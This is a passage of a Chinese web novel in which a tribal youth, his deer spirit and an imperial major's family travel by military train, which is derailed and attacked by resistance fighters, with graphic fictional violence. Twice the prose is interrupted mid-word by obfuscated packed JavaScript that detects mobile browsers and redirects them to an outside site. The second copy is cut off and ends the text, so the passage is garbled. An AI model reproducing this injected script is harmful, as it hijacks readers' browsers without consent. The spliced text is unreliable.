里奥尼德笑了笑,说:“没什么,当时我不是叫女仆找城门守兵查这个人吗?去司令部的时候,他们告诉我没查到,我有点怀疑这名字是假的。” 这倒是萨哈良没想过的,但是他在木排上的样子不像坏人,他回答道:“但我觉得他人挺好的,他说是因为治死了人,吃了官司,才来到远东的。” 里奥沉思了一会,说道:“没事,无所谓的事,反正伊琳娜已经好了。” 萨哈良点点头,里奥笑着跟他说起了伊琳娜的坏话:“我早就说她是吸烟吸的,她还不信。” 他说完这句话偷偷凑到萨哈良的耳边,说:“你没发现吗,最近她也不吸了,嘴硬而已。” 说罢两人都笑了起来,但萨哈良没见过伊琳娜吸烟,他说:“我其实没见过伊琳娜姐姐吸烟,部族里的老萨满和祖母倒是......” 鹿神一听他提起阿娜吉祖母,又咳嗽了一声,似乎不太想有人说她坏话。不过萨哈良听出来了,他没觉得自己在说坏话,毕竟他不觉得这有什么问题。 “感觉你们部族的女人地位很高。”里奥摸着自己的下巴,想起了小时候被伊琳娜欺负时的场景。 还好里奥没听见刚才聊起新娘的事,萨哈良在心里想着,然后回应他:“嗯......” “确实很高。”鹿神也若有所思的说着。 趁伊琳娜去洗照片,他们俩坐在别墅门口的台阶上闲聊了好一阵。那些女仆们这时正聚在厨房中,给他们的旅程准备路上能吃的食物。 过了没多久,伊琳娜就拎着洗好的照片走过来了,看见他们在偷偷聊天,她清了清嗓子,说道:“我刚才怎么老打喷嚏,你们没有人说我坏话吧?” 里奥被她这突然响起的声音吓了一跳,赶紧站起来说:“没,没,我们闲聊呢!” 但伊琳娜好像有点生气,她把照片举到里奥尼德的面前,说:“我光顾着提醒萨哈良了,没提醒你是吧,你看看这照片拍的!” 萨哈良和里奥尼德凑上前去,照片完美的还原了人们的长相、外貌,和四周的景色。萨哈良的眼睛都瞪大了,这种技术有如神力一般,尤其是第一次在相纸上看见自己,那奇妙的感觉有些怪怪的。 “啊......哈哈,闪光灯太亮了嘛。”里奥尼德尴尬的挠挠头,因为照片上的他有些眯起了眼睛, 伊琳娜看他这样,假装生气,说:“你看看人家第一次拍照的女仆都没闭眼,拍出来多好看!” “哈哈哈,那我肯定没有她们好看......”里奥扭捏的样子把萨哈良和伊琳娜都逗笑了,伊琳娜伸出手,把照片放到萨哈良的手中。 “来,萨哈良,这张给你。”她笑着说道。 萨哈良没想到这是给自己的礼物,在他看来这实在太珍贵了:“真的吗?这个给我吗?” “本来就是要一人一张的,你拿着吧。”里奥尼德替伊琳娜回应了。 萨哈良仔细端详着照片上的大家,然后发现他身后好像有一团白色的雾。 发现他在注意那边,伊琳娜说:“我也不知道怎么回事,为什么会有一块白雾。可能是显影药水没调好吧,我才发现有的都过期了。” 伊琳娜有些不好意思,向萨哈良表示歉意。 “这东西......是不是能摄取灵魂?把我也拍进去了?”鹿神瞪大眼睛,看着那张照片。 只有萨哈良和鹿神知道,那团像是长角的白雾究竟是什么。 正午阳光洒在里奥尼德家族庄园中,主楼前宽阔的碎石小路上,那辆熟悉的豪华马车已经准备就绪,车夫静候在一旁。 就在他们即将踏上旅途时,她们出来了。庄园里的女仆们,都从各自的岗位上暂时离开,安静地到庄园门口,为他们送行。她们穿着统一的深色长裙和洁白的围裙罩衫,在风景优美的前院花园中,形成一种整齐的仪式感。 她们的脸上没有过于外露的情绪,那是不合贵族规矩的。但她们都对那位总是和颜悦色的少年不舍,或许还有一丝对庄园外广阔天地的向往。 女仆长站在最前面,只是微微低头。但当那位年轻的少年看向她时,女仆长的眼神瞬间柔和下来,不易察觉地点了点头,流露出长辈般的慈爱。 那位年纪最小的女仆,似乎鼓足了勇气,在马车即将驶出庄园时,飞快地将一个皮袋塞进了伊琳娜的手上,然后立刻红着脸退回到队列里,低下头盯着自己擦得发亮的鞋尖。 “夫人,那皮袋里有您爱吃的蜜渍水果,还有少校喜欢的甜馅饼。”女仆长顿了顿,不知道该怎么称呼少年,那位年轻的女仆继续说道:“还有客人喜欢喝的卡瓦斯,我们装了三瓶在里面。” 伊琳娜感觉自己的鼻子一酸,要不是萨哈良那晚提出让大家一起吃饭,她还从来没发现这些女孩子,原来这么可爱。 骑行在一旁的萨哈良摘下帽子向她们示意,然后一紧缰绳,他的马儿立刻掀起前蹄,嘶鸣了一声。 这下把她们吓一跳,当发现无事发生时,大家都笑了起来。 旅人们缓缓驶出庄园的铁门,出发前往火车站的方向,慢慢消失在了茂密椴木林荫小路的尽头。 29.黑龙伏首 午后的明媚的阳光下,一列蒸汽火车沿着穿过蜿蜒的黑水河,横越广袤无垠的北方大地。它缓缓从车站中驶出,缓慢加速,如同一头挣脱了囚笼的巨兽,在苍茫的原野上奔腾嘶鸣。 火车通体漆黑,巨大的烟囱喷吐着浓密的黑烟,煤灰与蒸汽交织在一起,在身后拖出长长的轨迹。那些工人们赤裸着臂膀,在火热的蒸汽机前就快要将身体都烤干了,正一铲又一铲的将煤炭倒进去。 白热的蒸汽也随之嘶嘶喷射,穿过农田时,列车长拉响了汽笛,那声音却被高速行进的火车拖拽得呜咽。附近劳作的农民偶尔抬起头,向这边远眺。阳光在钢铁的车身上反射出冷冽的光泽,像是一条辗转腾挪的黑龙,撕裂了宁静的大地。 赶到火车站之后,由于是军队的运输专列,所以月台早就被士兵封锁起来。萨哈良好奇的打量着他们搬运到货厢的那些长枪短炮,谁知道那上面又沾满了多少生灵的鲜血。 “少校,您客人的这匹马有点不听话,它不愿意上货仓。” 正在萨哈良一行人准备登上客厢时,气喘吁吁的勤务兵跑来,他身上的尘土和蹄印,显示刚刚和那匹马发生了激烈的搏斗。 里奥尼德没见过这种情况,帝国军队的战马都经过训练,对这种场景习以为常了,他扭头看向萨哈良,说: “那匹马没上过战场,估计是害怕了。”他对萨哈良又说:“萨哈良,咱俩去看看吧,说不定你能安抚它。” 萨哈良点点头,他们一起向货仓跑去。 自从决定坐火车之后,鹿神就一直在萨哈良的脑海里没有出来过。神灵有自己的立场,只是不愿过多干涉人类的选择,毕竟这不仅是他的旅途,也是萨哈良的。 那些士兵正拽着马儿的缰绳,想强行把它拉到货仓上去。但因为是少校贵客的马,他们不光是不敢用鞭子抽,也不敢放到运输军马的车厢。他们生怕那些战马挤在一起摩擦造成的高温,伤到这匹脾气倔强的马儿。 “好马,好马,听话吧,我们是要出远门了。”萨哈良伏在马的脖颈旁,慢慢抚摸着它的毛发。 但这马不知道中了什么邪,突然扬起前蹄,把萨哈良也踹到了一边。这一下似乎惊醒了暗自冥想的鹿神,他忍不住骂了起来: “这小畜生怎么回事!” 鹿神从萨哈良的脑子里钻出来,狠狠的瞪了一眼那匹倔强的马。这下它终于老实了,甚至眼睛中还能看见惊恐。 “厉害啊,这个能教我吗?”不明就里的里奥尼德什么都想学,他笑着对萨哈良说。 听见这话,像是在发起床气的鹿神说:“可以啊,让他把眼睛染成棕的或者黑的,我就教他。” 萨哈良尴尬的笑了笑,他像是在试图调节关系一般站在两人之间,当然里奥尼德并不能看见鹿神。 “这个......和动物相处久了你自然就学会了。” 里奥尼德听他这么说,挠了挠头,他盯着萨哈良如琥珀般清亮的眼睛:“你说得对,以后我也得找一匹小马驹慢慢养。” 将马匹送上货仓之后,他们回到了客厢里,伊琳娜已经把皮袋子中的食物拿出来,放到了桌子上。 随着火车启动,车轮撞击到铁轨的接缝,偶尔发出些声响,与其说是噪音,不如说是这间豪华车厢的背景音。透过玻璃,能看见车窗外的春日景色,有时穿过田野,有时跃过河流。 这原本是供那些高级军官旅行或指挥战事的专列,对萨哈良来说,处处都是新鲜的。但对里奥尼德来说,这里和司令部无异。 车厢内的空气温暖而馥郁,融合了雪茄的烟草味以及真皮座椅经年使用后散发出的醇厚气息,还有伊琳娜大衣上若隐若现的香水味。厚重的车窗上悬挂着深色的丝绒窗帘,边缘装饰着繁复的金色流苏,偶尔透出窗外茂密丛林飞速掠过的模糊暗影。 站在车厢中央,萨哈良感觉像是站在一条巨蛇的身体中,随着铁路的蜿蜒,远处的那扇木门也在若隐若现。 “萨哈良?怎么了?坐下吃点东西吧。” 伊琳娜注意到萨哈良在看着远方发呆,便招呼他填填肚子。 萨哈良点点头,和里奥尼德一同入座。那皮面的沙发比他想的要软,萨哈良轻轻的坐上去,仿佛要将他包围一般。由于是特批的专列,军官车厢中只有他们三人。 车厢尽头,一个精巧的黄铜小茶壶正冒着热气,旁边摆放着一套精致的骨瓷茶具,看来下午茶时间就要到了。 除了女仆说的那些,桌布上还有一些车厢中准备的茶点。穿着黑色马甲的侍从不知道什么时候端着茶水走了过来,为每个人斟好了红茶。 “怎么样,萨哈良?第一次坐火车什么感觉?”已经饿了的里奥尼德拿起煎饼就吃了起来,毕竟他一大早还跑了趟司令部。 萨哈良想了想,说:“感觉很新奇,仿佛庄园的会客厅长了腿一样。” 听他这么说,大家都笑了起来。 “少校,夫人,列车长请您到车长室去坐一会。”他们的茶还没喝两口,一名勤务兵就走了过来,邀请他们两人。 里奥的午餐还没吃饱,他看着满桌的食物恋恋不舍,但还是转头对萨哈良说:“那萨哈良先坐一会吧,我和伊琳去看看。” 在前往车长室的路上,里奥在暗自琢磨一个军衔为上尉的列车长为什么邀请他和伊琳娜去做客,难道又是像先前士官长那样谄媚的人?想要为自己谋个前程? 一想到这,里奥尼德就感到一阵恶寒。 伊琳娜倒是没觉得有什么,无非是例行公事,她一边走一边透过列车的车窗,远眺着远处那些千篇一律的风景。 “少校,夫人,下午好。”他们刚一推开门,列车长就起身向他们敬礼。 里奥尼德为伊琳娜摆好座椅,随后摆摆手说:“不必客气。” 不过,还没等他们坐好,列车长就先发话了:“请您过来实在是打扰了,但我还是想问问,中将跟你介绍过此行的危险性吗?” 里奥诧异的和伊琳娜对视了一会,然后和列车长说:“危险?中将什么也没说。” 早上去司令部的时候,叔父只提醒他军服不能脱,按时报道,哦对了,还提醒他随身带枪。可带枪也很正常,就算他不说,里奥也会这么做。 “看来您对帝国远东边疆区的了解还不深,我跟您介绍一下情况吧。”列车长说着,端起茶壶给他们倒满了茶水。 他将一张破旧的地图展开,铺在了桌子上,那是边疆地区的局部地图。与司令部所用的不同,铁路营使用的表明了各地交通线路,尤其是铁道被重点标记出来。 “铁路营用的图可能看着困难,但意思是一样的。”列车长边说边拿出笔在地图上画着记号,说:“这个红点是我们的位置,我们两小时前出发,现在位于黑水城东约100多公里的位置” 里奥尼德点点头,他转头看向伊琳娜。 伊琳娜很清楚帝国的那些男人们,不是所有人都能接受女人在桌上说话,当然她对这种话题也兴味索然,扭头看着窗外的风景。 列车长又在地图上画了一个红圈,继续说道:“我想告诉您的是,这片广袤的土地丘陵遍布,河网密集,抵抗势力始终在这里活动。” 这是里奥从没听说过的话题,他疑惑的询问列车长:“抵抗势力?我不明白,帝国边疆区不是稳定发展吗?还有人搞破坏?黑水城给我感觉和任何一个帝国城市,没什么不同。” 就算在远东驻扎了一年时间,里奥尼德也几乎从没有离开过黑水城。可以这么说,他对于军队的事务基本就是三天打鱼两天晒网,精力大多放在自己的论文写作,和对当地民俗的田野调查中。 列车长被他天真的发言吓了一跳,但还是试图耐心的为他解释:“少校,您没出过黑水城不知道很正常,但也应该从军中的传闻里听到过。” 他说的话像是在责怪里奥尼德玩忽职守,这话让年轻的少校有些不满,他咬了咬牙关,但也实在没法反驳。 感觉到里奥的情绪后,列车长咳嗽了一声,接着说道:“他们有时会抢劫我们的商队,有时会袭击运输车,劫掠军方物资,所以车厢里还带了两个连的兵力护送。” 他笑着指了指车长室的门,也就是车厢的尽头。 里奥尼德很快收敛了自己的脾气,他一针见血的问:“他们的主要构成是什么?” 听见他这么问,列车长才放下心来:“您的问题直击重点,抵抗势力主要由南方帝国的遗民组成,但本地原住民也在为他们提供帮助,这才是我们解决不了这个麻烦的原因。” “遗民?我以为他们早没了......所以我们的神父在干什么?”里奥尼德想起那些耀武扬威的教会人员。 “可以这么说,如果没有他们,情况可能更恶劣。”列车长说完,把地图卷了起来,塞到里奥尼德的手中。 “我要说的就这么多了,这张地图您拿着吧,兴许旅行时用得上。”说罢,他起身将里奥尼德和伊琳娜送到了门口,说:“祝您二位旅途开心,有需要帮忙的随时喊我,我一直在车长室。” 里奥尼德突然想起还有事没问,他说:“你对拍卖行有没有了解,有没有听说过“黄鼠狼先生”?” 列车长笑了笑,说:“少校,我只是一个月薪七十多块银币的上尉,拍卖行这种地方对我来说还是太高端了。” “七十多块?列车长不应该有一百五十多块吗?”里奥尼德惊讶的问他。 “这里毕竟是远东,和首都不一样。”列车长苦笑着说道。 里奥也不好再问下去,他和伊琳娜转身离开了。 列车长的话其实并没有在两人心中激起什么涟漪,里奥尼德对这种事情完全没有实感,他对军方的态度从来是有命令就去,没命令就不去。除了那张皇帝下达的政令,才第一次让他有了些参与感。 伊琳娜也一样,她已经听得困了。 回到客厢时,桌上的食物基本没怎么动,萨哈良在等他们回来一起吃,正擦着腰间的仪祭刀,时不时的头歪向一边,像是小声说些什么,有时候还会偷偷笑。 “我们回来了。”伊琳娜有些疲倦,先入座了,里奥尼德紧随其后。 “怎么没吃东西?”里奥尼德坐下的时候,拍了拍萨哈良的肩膀。 萨哈良被他们吓得愣住了,赶紧闭上正和鹿神聊天的嘴。为了掩饰尴尬,他用力帮伊琳娜打开罐头瓶,那里面装着她最爱吃的蜜渍水果,说:“我在等你们回来一块吃,水有点凉了,刚刚侍从重新烧了一壶。” 伊琳娜和里奥尼德笑着说:“没事,饿了就吃。” 趁他们拿起食物的时候,萨哈良又瞥了一眼远方的风景,这会地平线上有几个黑点在快速移动着,兴许是鹿群什么的。 萨哈良突然有点好奇这趟火车是开往何处的,他说:“我想问问这个火车是在往什么地方开?” 里奥尼德想起刚才列车长给的地图,他把它在桌子上展开,说:“这个画红点的地方大概就是我们的位置,车的末站是在海滨城。” 萨哈良不了解这些罗刹人的地名,他问道:“海滨城?那是在哪儿?” 里奥在地图上给他指了出来。 “这么远?这不是都快到熊神部族了吗......”萨哈良惊讶的喊了出来,因为那不是他想去的地方。 “这小子把你拐卖了?”鹿神盯着地图,还不忘揶揄着他们。 “我记得你先前说起过,你是要找狗獾神的营地?”里奥尼德记得很清楚,他还仔细看了萨哈良脚踝上的神像。 看完地图,鹿神开口说话了:“跟这小子交代了吧,他知道的信息远比我们多,能帮忙。” 听鹿神这么说,萨哈良就有办法了,他问道:“里奥,白鹿镇在什么位置?” 每次听见萨哈良叫“里奥”,他都感觉到莫名的欣喜。 “伊琳娜,给我一支钢笔。” 伊琳娜本来都快要合眼了,她忍着困意从手包里拿出笔,递给了里奥尼德,然后悄悄睡去。 “来,黑水城北方这座群山的左边,就是白鹿镇。”里奥在地图上画了个点,指给萨哈良看。 知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205509|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道白鹿镇的位置后,萨哈良一下就找到了邬沙苏部族营地所在的位置。此时他感觉自己就像飞在云端,正透过云层,俯瞰着自己的故乡。 里奥好像看出了他的想法,笑着说:“是不是找到自己家了?” 他把萨哈良往旁边挤了挤,贴在他旁边也在跟随萨哈良的视线查看地图。 萨哈良拿过钢笔,在地图上画了一个小圈,说:“大概就是这个位置。” 那些曾经每天抬眼就能看到的桦木林,黑湖,高山,和远处的雪峰,就像曾经每天早上醒来就能听到阿沙在外面喊他打猎一样,正变得遥远。 “原来是在这啊......好像是有点远,我都没去过。”里奥仔细盯着地图上的那些地名,一条长长的铁路线从那座高山旁擦过。 “其实原因是我们的老祖母过世了,她曾经是拥有诸多史诗的伟大人物,但是其他部族都没有来。”说到这个,萨哈良的眼神慢慢黯淡了。每次回忆起那个从小带着他长大的祖母,都让他感到遗憾。 萨哈良拿着钢笔,笔尖忘记从地图上抬起,墨水正慢慢渗开。 不过他没注意到,而是继续在地图上向南方移动:“然后我们......”萨哈良总是忘记没有人能看见鹿神,他咳嗽了一声,接着说道:“我到了小镇,这里的故事先前和你讲过。” 里奥尼德点点头,他一直盯着萨哈良的笔尖,仿佛自己也曾经与他一同游历在北方的土地上。 “然后我被踹出小镇......”萨哈良刚说完,里奥尼德就疑惑的问他: “踹?为什么踹?” 萨哈良用手比划着,然后说:“大概就是拎起来,然后踹出去,应该他们没从老板娘身上敲诈到钱,拿我撒气。” 里奥一想起那场景,就觉得有些可怜,但也有点好笑。 “然后我继续往西北方向走,在狗獾部族的山上,发现了他们被摧毁的营地,地上还有血迹,那些伐木工人把树都砍了。”萨哈良在地图上继续画着。 听他说起这些事,里奥的脸上难以捉摸的闪过一丝奇怪的神情,但这被一直盯着他看的鹿神捕捉到了。 “萨哈良,这小子有事瞒着你。”鹿神低声说道。 萨哈良发现,在地图上面涂涂画画的时候,他脑海中的线索开始聚向一处。之前和里奥打猎时他也用过步枪了,那些试图寻找其他部族的勇士无疑都是死于帝国军队的这种武器之下。 但他忍住了没和里奥说,这些事需要从长计议,慢慢寻找真相。 笔尖的墨水又在狗獾部族所在的群山中洇开,那一个又一个的墨点如同象征着萨哈良旅途中每一个重大的事件,也象征着他内心的动摇。 “然后我们看见了火车,像黑龙一样在地上爬行。”萨哈良提起钢笔,又在地图上划动着,“再后来我们上了木排,在那里认识了叶甫根尼医生。” 萨哈良的钢笔在不断分叉的黑水河前停住了,他不知道去往黑水城的路该怎么走,笔尖的墨水流到了纸上,像是奔腾的河水一样。 里奥尼德伸手过去,握住了萨哈良的手,帮他在地图上找着位置:“然后你们一路向南,途中遭遇了船难。” 墨线最终画到了黑水城,那是他们三个人相遇的地方。 “萨哈良,我可能有一些线索要分享给你。”里奥尼德轻轻地对萨哈良说。里奥也在犹豫神父带兵来庄园那一晚,他无意中从萨满法袍中发现的那封信件,究竟要不要和萨哈良讲。 萨哈良转头看向他,里奥说:“当时在神父面前,我拿出了一封信,信上提到了——” 鹿神突然跳了起来,他张开双臂,紧紧护在萨哈良面前,然后大声喊道: “你们都趴下!” 里奥还在说话,萨哈良把他一把按在桌上。 突然, 一阵极其尖锐的撞击声猛地撕裂了午后的宁静,那不再是车轮在铁轨滑行时的声音,而是一种疯狂得近乎于失控的嘶鸣,仿佛火车的每一颗螺钉都要炸开来。 鹿神宽大的手臂将他们两个罩在下面,却遗漏了伊琳娜,正当萨哈良想去提醒她时—— 他们三个人被抛了起来,桌上那些食物和茶杯也飞得到处都是,瞬时之间天翻地覆,火车出轨了,连带着后面的几节车厢也翻了过去。 在一阵浓烟之后,里奥尼德和萨哈良努力爬起来,那些破碎的玻璃划破了他们的双手,但好在被窗帘挡住了,所以伤的不深。 “伊琳!伊琳!你还好吗?”里奥起来的第一件事就是去看伊琳娜,好在她只是在睡梦中被惊醒了。 她挣扎着推开倒在身上的椅子,踩着脚下的天花板,有些痛苦的说:“没......没事,只是磕到我的腿了......这是怎么了?” 原本全速前进的列车在刚才突然猛的减速,不知道什么原因,但最终还是倾覆了。里奥尼德像是猜到了原因,他听到了运输车厢那边传来嘈杂的声音,士兵们似乎已经进入作战准备了。 此时车厢的天花板变成了地板,火车上下颠倒了过来。 里奥没有再解释,他从腰间拔开手枪,打开保险,按在了萨哈良身旁的椅子上。 “萨哈良,枪交给你了,保护好自己,保护好伊琳。”说罢,他从碎玻璃之间探头出去望了望,像是看见了什么,转身朝着相反方向的窗户跳了出去。 里奥尼德刚出去,车外就传来一阵激烈的枪响。 萨哈良起身扶起伊琳娜,他想带她到更安全的地方。但那些天花板显然不如地板结实,踩在此时的地面就像踩在冻结不久的冰面上,随时会踏出一个窟窿,他们只好把椅子扶正,又坐了回去。 突然,伴随着车外不断响起的枪声和马蹄声,又是一阵剧烈的声响,车厢的门被人生生拽开,外面的硝烟与血腥味瞬间涌了进来,此时一个手持大刀的人正站在门外,刀把上还飘着破碎的红布。鲜血顺着他的刃口不断流到他的手上,有如凶神一般。 看见他们两个,那人朝骑马的同伴们大声喊道: “快来!这有个罗刹鬼!” 30.车厢外激战 将手枪托付给萨哈良后,里奥尼德翻身跳出了车窗。 车厢已经被甩到旁边的砂石地上,枕木也散落地到处都是。里奥咬咬牙,直接跳了下去。那坚实的土地让他穿着厚重马靴的脚生疼,像针刺一样从骨头里传来。 他向车头方向望去,铁轨被抵抗势力的人扒开一道缺口,也正是因为这个原因,火车才失事的。此时附近丘陵后涌出了一百多人,他们的头上绑着红色布条,像洪水一样朝着火车的方向冲来。 现在已经顾不得那么多,留给里奥尼德的时间太少了。不知道车头位置的伤亡如何,列车长也没有音信,他需要在敌人大部队杀过来前立刻组织起防御,准备反击。 铁路营的士兵面对这种情况早已是轻车熟路,他们立刻在车厢中架起机枪,以火车的铁皮为掩体,朝着对方的骑兵进行扫射,一时间战场上硝烟弥漫。那些敌人的骑兵发出洪亮的战吼,第一次面对你死我活的遭遇战,里奥尼德想从箱子里拿起步枪,颤抖的双手却始终拉不开枪栓。 穿过火车冒起的浓烟,里奥尼德的眼前闪过在庄园教萨哈良开枪时的场景,那少年白皙的脚踝戴着独属于部族的标记,被花园中杂草刺出了些猩红的血点。 他吃痛时微微皱起的眉宇间长着些可爱的雀斑,不太合脚的皮鞋又在地上碾动着那些不听话的枯枝,像是踩在他的心上。 但萨哈良提起狗獾神时落寞的神情又刺痛了里奥,他第一次将里奥与帝国军队的血腥征伐画上等号。可里奥尼德不想被他误解,唯独不想被他误解。 “少校!我已指挥铁路营第一二三连坚守阵地,向敌人反击!” 见到少校跑了过来,营长立刻汇报情况。 身为军人的责任感压倒了里奥尼德的犹豫,他将手中的步枪填满子弹,又从弹药箱中扯出一条子弹带,挎在了胸前。 随后他大声喊道:“带你一个排的人跟我走!保卫军官车厢!其余人坚守机枪阵地!” 营长疑惑不解,他迟疑的表情几乎已经写在脸上了。以营长的经验,此时稳固防线,保护军需物资才是应该做的。 见他没说话,里奥尼德只好继续喊道:“你们的列车长还被困在车长室!” 尽管仍然不情愿,也只好听从里奥的指令,营长扭头没再看他,只是摆摆手,低声下了命令。那些士兵得到命令立刻拿起长枪,工兵们则是搬起弹药箱和麻袋,跟随少校的脚步拱卫军官车厢。 但如潮水般席卷而来的敌人可不给他们转移阵地的机会,躲在丘陵后的步枪用齐射阻止帝国军队,一个胆大的士兵刚探出头,就被一枪击中面门,软软地倒了下去。里奥他们被打得抬不起头来,只能在倒下的车厢间移动。 机枪阵地的将士在营长的指挥下,为里奥尼德提供火力援助,紧接着是密集的枪响,子弹偶尔地打在火车厚重的铁皮上,迸出几点火星,只能趁着交火的空隙他们才重新前进。对方仿佛看出了里奥尼德的意图,骑兵立刻调转兵锋朝着车头的方向冲刺。 绕过地上那些散了架的铁皮,他们看见敌人的骑兵已经来到车长室的位置了。 为首的是名壮汉,那人将重伤昏迷的列车长从车长室拖出来,毫不拖泥带水的,旋即拔出身后背着的长刀,结果了车长的性命。 刀砍向脖颈之后,鲜血迸发而出,溅了那壮汉一身,他不屑一顾,伸手扯下了列车长身上的怀表。 紧接着一个披着斗篷的矮小少年策马赶来,那少年头上系着红头巾,旁边插着一支野鸡翎羽。从马上跳下来之后,他用匕首干净利索的割下了列车长的一只耳朵,随后掀起斗篷,在腰间挂着的狐狸尾巴上蹭干刃口的血,将耳朵装进了挎着的皮包中。 恍惚时,里奥尼德竟以为那人是萨哈良。 那些人手脚麻利,马上就朝着军官车厢去了,里奥尼德的视野也被火车的残骸挡住。他心急如焚,但敌人配合默契,马上又是一轮齐射阻挠着他们继续前进。 与此同时,在车厢中的萨哈良已经和那手握大刀的壮汉对视了。 车上有罗刹鬼很正常,但怎么会有一个原住民?那壮汉愣了一下,问道: “你是田人还是山人?” 萨哈良好久没有听过这个称呼,在恐惧之下,他竟不知道该如何回答。他的反应把鹿神急坏了,鹿神先是挡在他们中间,随后大喊道: “山人!你是山人!你快说啊!” “山人!我是山人!”萨哈良直接喊了出来,把那壮汉也吓了一跳。 他把大刀扛在肩膀,轻蔑的说:“既然是山人,那就是叛徒了,该杀!” 萨哈良不理解他口中的叛徒作何含义,那人也没再继续说下去,而是又瞥了一眼伊琳娜,说:“你为什么跟这个母罗刹鬼在一块?” “我......”萨哈良不知道该如何解释,他不光是结结巴巴,在壮汉的视角,由于看不见的鹿神挡在前面,萨哈良就连眼神也游离不定,于是那壮汉握紧了大刀,朝他们两个靠近。 “做好准备,伊琳娜在摸那把手枪。”鹿神低声提醒着萨哈良,但紧要关头,他记不得该开枪反击,而是偷偷把手朝着仪祭刀伸了过去。 “砰!” 趁着壮汉和萨哈良说话的空隙,伊琳娜瞬间甩出手枪,向他开火。这一枪自然没有经验丰富的里奥尼德那么精准,子弹打到了壮汉手中大刀的刀刃上,一道火星弹飞了出去,在钢刀上留下了一个弹坑。 壮汉恼羞成怒,在伊琳娜准备第二枪时,大刀朝他们劈了下来。 “砰!” 又是一声枪响,鲜血慢慢从壮汉肩膀的衣物后洇开,他拿着大刀的手也软了下来,刀落到地上,然后转头看向了枪响的方向。 萨哈良还以为是伊琳娜开的枪,他扭头看过去,伊琳娜紧张地对着他摇头。 “砰!” 毫无征兆的,碎裂的颅骨和鲜血溅满了车厢。 就在里奥尼德顶着枪林弹雨快速向萨哈良那边移动的时候,他们看见了那些敌人在逐一检查着车厢中残余的活口,并且挨个拉出来处决并割下耳朵。这几乎是一种报复性的行为,而非简单的劫掠物资。 抵抗势力的士兵一点不比火车上的少,如果被敌人占据车头位置建立阵地,届时每个人都要命丧于此了。 “山人!我是山人!” 突然,里奥尼德听见了萨哈良着急向那壮汉自证的喊声,身旁的士兵也听见了。 他们赶紧加快了移动的速度,哪怕中弹的人越来越多,士兵一个接一个地倒下,灰色的军装迅速被鲜血染透。里奥尼德不得不带着几名精兵继续前进,留下其他人以车厢为掩体,回应着敌人的火力。 直到他们看见了拿刀的壮汉破开了军官车厢的门,准备砍向里面的两个人。 他紧张的双手又开始颤抖起来,里奥害怕那壮汉因为他救援不急,而真的挥刀下去。来不及瞄准的长枪击中了壮汉的肩膀,那人转过头,向他投来难以置信的表情,又夹杂着无法抑制的怒火。 里奥尼德已经在将死之人的眼中见过这种表情了,那晚死去的管家又在他脑海中浮现。这样做真的对吗?里奥哆嗦着拉动枪栓,没等他再次开枪,反应迅速的士兵一齐开火,密集的子弹将敌人击倒在地上。 在第二轮齐射到来前,那些反应迅速的骑兵立刻翻身上马,在火力的掩护下。重新退回到丘陵后面。 此时的里奥心急如麻,他生怕在萨哈良和伊琳娜的眼睛中也看见生命火光消失的样子。士兵跳上车厢,架起机枪保护少校进入军官车厢。 “萨哈良,你在干什么!为什么不开枪!”尽管那壮汉已经死了,伊琳娜的手仍然没有放下,她恐惧的表情中又透出坚定,大声向萨哈良喊着。 里奥尼德踹开了车厢侧面的门,当听到声响,伊琳娜瞬间扭头指向车门,人还没进来又开了一枪,子弹击中车厢的墙壁,弹到地上那些碎掉的吊灯上。 “伊琳,萨哈良,你们还好吗!”里奥也顾不得刚刚伊琳差点给他一枪崩了,赶紧冲上来抱住他们。 看到他回来,伊琳娜忍不住哭了,但还是坚强的说着:“我没事,萨哈良也没事。” “对不起,刚刚忘记开枪了,我还在想拔刀......”萨哈良有些失落,冷汗已经浸湿了他的衬衫。 “没关系的,你刚刚才学会开枪,想不起来用它很正常。”里奥总是对萨哈良格外的宽容,他一边说,一边朝他们伸出了手,又继续说道:“别在这边呆着了,赶快撤到后面,敌人马上又要开始新一轮攻势了。” “撤退!撤回机枪阵地!” 里奥尼德最后朝车窗外喊了一声,那些士兵陆续绕到车厢后向阵地撤离。他和萨哈良跳出车厢轻而易举,但伊琳娜因为之前的撞击,被椅子磕到了腿。她跳下来时,感觉脚下一软,跪在了地上。 他们两人赶紧跑上去,里奥将她架起来,半拖半抱,萨哈良紧随其后,鹿神始终挡在他们身前。三人踉跄地冲过最后一段开阔地,子弹不停地打在身旁的泥土和倾覆的车厢铁皮上,溅起一片片碎屑。 “少校!这边!”一名脸上沾满黑灰的士官嘶哑地喊道,伸出手将他们猛地拽进一道由破损车厢、沙袋和士兵尸体临时构筑的掩体后面。 几乎就在他们扑倒在地的瞬间,更密集的弹雨倾泻在他们刚才经过的地方。伊琳娜痛哼一声,她的腿在混乱中不知被何物撞击,此刻正钻心地疼。萨哈良迅速检查她的情况,发现并无大碍才紧张地望向准备第二轮冲锋的敌人。 “少校,列车长怎么样了!”营长一边向敌人开火,一边询问里奥尼德前线的情况。 里奥尼德将他们两个人安置好后,朝营长喊着:“车长阵亡了!前面敌人攻势太猛!我们有伤亡!” 不知道是因为枪声太响没听见,还是不满里奥带兵去送死,营长没再说话。他身旁的士兵听见车长阵亡的消息,显出慌乱,机枪疯狂的扫射却打不出效果。 里奥尼德没有片刻喘息。他一把抓过身旁阵亡士兵的步枪,检查弹药,脸上的血迹和尘土让他灰蓝色的眼睛显得更加锐利冰冷。 “一连左翼压制!二连右翼交叉火力!把他们压回去!”他的声音嘶哑却带着不容置疑的命令口吻,瞬间稳住了周围有些慌乱的士兵。帝国的军人们依令开火,步枪齐射的轰鸣暂时遏制了敌人的冲锋势头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 